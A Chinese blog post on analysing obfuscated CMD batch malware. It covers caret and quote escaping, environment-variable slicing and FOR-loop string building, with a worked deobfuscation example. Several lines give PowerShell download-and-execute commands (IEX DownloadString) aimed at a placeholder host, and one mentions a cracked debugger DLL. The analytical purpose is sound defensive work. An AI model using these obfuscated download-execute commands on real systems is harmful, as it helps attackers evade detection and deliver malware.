脚本命令类恶意代码——CMD混淆脚本分析方法
CMD脚本命令有很多不同的名称,例如BAT脚本、批处理脚本、DOS命令等。这些术语通常都指的是同一种类型的脚本命令,在本篇统一叫CMD命令。
由于CMD命令受限于语法功能,攻击者一般只会将CMD命令作为Downloader存在,常见于网络钓鱼宏文档启用宏后拼接出CMD命令配合Powershell命令下载执行其他恶意文件。
CMD命令混淆方式
字符混淆
大小写混淆
windows系统文件、文件夹以及cmd命令等是对大小写不敏感的,因此无论命令输入的命令大小写如何,系统都会将其视为相同的对象。这里不进行过多介绍。
符号混淆
转义字符
转义字符^,一般是用来表示特殊字符,使其不被解释为原始含义。由于^字符只会转义特殊字符,不影响其他命令正常执行,因此恶意命令会加入"^"字符作为混淆。
双引号
双引号最初的目的是作为界定符,允许字符串中包含空格或其他特殊字符。然而,在混淆代码中,双引号也可以被巧妙地插入命令中,以改变命令的解析方式或混淆代码的含义。
圆括号
用圆括号"()"包裹的命令会被认为是一个整体,不影响命令执行。
逗号和分号
","和";"在使用中可以互换,可以取代命令行中的空格,不影响命令执行。
逻辑符号
"&" 符号用于连接多个命令,并使它们以顺序的方式执行。
"&&" 符号在命令行中用于连接多个命令,但它只有在前一个命令成功执行后才会执行后续的命令。
"||" 符号在命令行中用于创建条件性命令链。它用于在前一个命令失败时执行后续的命令。
管道符
"|" 符号用于将一个命令的输出作为另一个命令的输入。
Unicode字符混淆
字符替换
在Unicode字符集中存在许多字符的变体和修饰符,有时候命令行解析器可能会将它们识别为相似或等效的字符。其中间距修饰符(Spacing Modifier Letters)就包括"ʰ","ʲ","ʳ"字符。某些命令行解析器可能会将这些字符识别为类似的字母,并将它们转换回相应的字符,例如reg query命令将"ʳ"转换为"r",仍可正常执行。
字符插入
由于一些执行程序会忽略或过滤掉某些可打印字符,这可能使得在命令行中插入其他字符成为可能。例如windows事件管理工具wevtutil可以接受在随机位置插入某些范围内的 Unicode 字符的命令行,在将wevtutil gli hardwareevents命令中插入(ࢯ)字符后仍可正常执行。
注:此项在win11中测试无法正常执行
环境变量混淆
环境变量一般的应用场景是为了存储路径信息,让系统在指定目录中查找可执行文件。但在恶意命令中,环境变量的作用更多是为了存储字符串,通过环境变量与其他字符串拼接来达到混淆的目的。
设置临时环境变量
使用set命令设置临时环境变量格式:
set [<variable>=[<string>]]
其中<variable>是指定要设置或修改的环境变量;<string>是指定要与指定环境变量关联的字符串。
如果set命令不加任何参数,set将显示当前环境变量,在默认环境变量中,有一项%ComSpec%值得关注,它的默认值一般为C:\WINDOWS\system32\cmd.exe。
获取环境变量值
使用%VarName%获取环境变量值。
启动延迟环境变量扩展
通过set和%VarName%,可以构造出如下命令去执行whoami
cmd /c "set test=whoami && %test%"
但很多情况下,我们遇见的是这样的命令,使用的是!VarName!而不是%VarName%
cmd /v /c "set test=whoami && !test!"
这是因为cmd有一个启用延迟的环境变量扩展,使用的参数是/v或者/v:on,调用cmd加上这个参数后,!VarName!可以代替%VarName%。
截取环境变量值
自定义截取环境变量值操作格式:
%VarName:~offset[,length]%
其中VarName是用于获取该环境变量的值;offset为选择的偏移;length为长度可省略不写。
攻击者可以利用已有环境变量值中的字符或字符串拼接成想要的cmd命令,例如我们可以对%ComSpec%的值进行操作
可以拼接出set
%comspec:~11,1%%comspec:~-1%%comspec:~-13,1%
截取出cmd.exe
%comspec:~20,7%
%comspec:~-7%
以下是一个恶意命令利用截取环境变量的例子:
恶意命令中利用环境变量%ALLUSERSPROFILE:~4,1%截取字符串"r"和其余字符拼接成为powershell.exe
cmd.exe /c "Powe%ALLUSERSPROFILE:~4,1%Shell.exe IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1')"
For循环拼接混淆
命令用法
for循环命令格式如下:
FOR %variable IN (set) DO command [command-parameters]
其中%variable为指定一个单一字母可替换的参数;(set) 为指定一个或一组文件,command为指定对每个文件执行的命令;command-parameters为特定命令指定参数或命令行开关。(可通过for /?获取详细使用参数)
for默认不加扩展命令用法
依次打印输出0,1,7
for %i in (0,1,7) do @echo %i
for命令最常用的扩展命令是/L和/F
加上参数L后(set)含义变为按照步长在一定范围内的数值进行迭代。
FOR /L %variable IN (start,step,end) DO command [command-parameters]
范围为1到10,步长为2,打印输出
for /L %i in (1,2,10) do @echo %i
参数F后用法最为复杂,以下列举两种用法
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
读取C:\Windows\System32\drivers\etc\hosts文件逐行输出
for /F "usebackq delims==" %i in (C:\Windows\System32\drivers\etc\hosts) do @echo %i
获取环境变量名逐行输出
for /F "usebackq delims==" %i in (`set`) do @echo %i
利用内置命令获取字符串
除了set命令之外,CMD还有许多其他的内置命令可以用来获取固定信息,例如 %ComSpec% 等与系统基础设置相关的命令。其中包括查询文件扩展名关联的 assoc 命令和查询文件扩展名关联文件类型的 ftype 命令等。
为了绕过安全软件的检测,攻击者可能会使用通过系统内置命令拼接或截取字符串的方式,构造出包含二进制文件名(如powershell.exe、cmd.exe、rundll32.exe)的字符串。
以下是通过ftype获取rundll32.exe字符串的例子
cmd /v /c "for /f "tokens=4 delims=\ " %A in ('ftype InternetShortcut') do @set "result=%A" & echo !result:"=!"
这里首先看指定的内容'ftype InternetShortcut',通过ftype命令获取InternetShortcut的值
InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
参数"tokens=4 delims=\ "负责对'\'进行分割,取第4列数据,可以获取到'rundll32.exe"'字符串,再使用!result:"=!将双引号去除即可得到rundll32.exe字符串
带BOM头的CMD脚本
BOM是一个特殊的字节序列,用于标识文本文件的编码方式和字节顺序。对于UTF-8编码的文本文件,如果添加了BOM头,那么在某些编辑器或工具中打开文件时,可能会显示乱码。
CMD通常不会受到 BOM 头的影响,因为它默认将文件视为ANSI编码。所以,即使文件中包含BOM头,CMD仍然可以正常解释和执行脚本内容。
如果在分析CMD恶意脚本时打开文件只看到一堆乱码,但脚本仍然可以正常运行,那很有可能是因为脚本文件被添加了BOM头。
SHA1: a40e120484970ac24a2a7f2852f9da0254fa3538
对于这种情况,我们可以使用16进制编辑器打开文件,注意前两个字节"FFFE"
将"FFFE"去除后,再使用文本编辑器打开,即可正常显示命令。
实例
被混淆的命令
cmd.exe /C "cm^d^.^e^x^e /V^ ^/C s^et g^c^=^er^s^&^&s^e^t ^tf=^he^ll^&^&set^ f^a^=^pow^&^&^s^et^ dq^=W^i^n^do^ws^!fa^!^!g^c^!!^t^f^!\^v^1^.0\^!^fa!^!^gc!!^tf^!^&^&^ech^o^ iE^X^(^^"iex(neW-OBjecT nEt.webCLiEnt).dowNlOaDstrING('http://127.0.0.1')^"^)^;^ ^|^ !dq! -^no^p^ ^-^w^i^n^ ^1^ ^-"
该条命令使用了大小写混淆、转义字符混淆、环境变量混淆、for循环混淆,虽然用的混淆方式不少,但其实也也是一个比较基础且容易还原的混淆。
去混淆后的命令
cmd.exe /C "cmd.exe /V /C echo IEX("IEX(New-Object Net.WebClient).DownloadString('http://127.0.0.1')"); | windowspowershell\v1.0\powershell -nop -win 1 -"
动态调试
调试 .bat 和 .cmd 文件的 IDE:https://jpsoft.com/products/cmdebug.html
CMDebug Cracked dll
参考
https://www.mandiant.com/resources/blog/dosfuscation-exploring-obfuscation-and-detection-techniques
Windows Command-Line Obfuscation
原文地址:https://blog.csdn.net/weixin_44001905/article/details/142589031
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!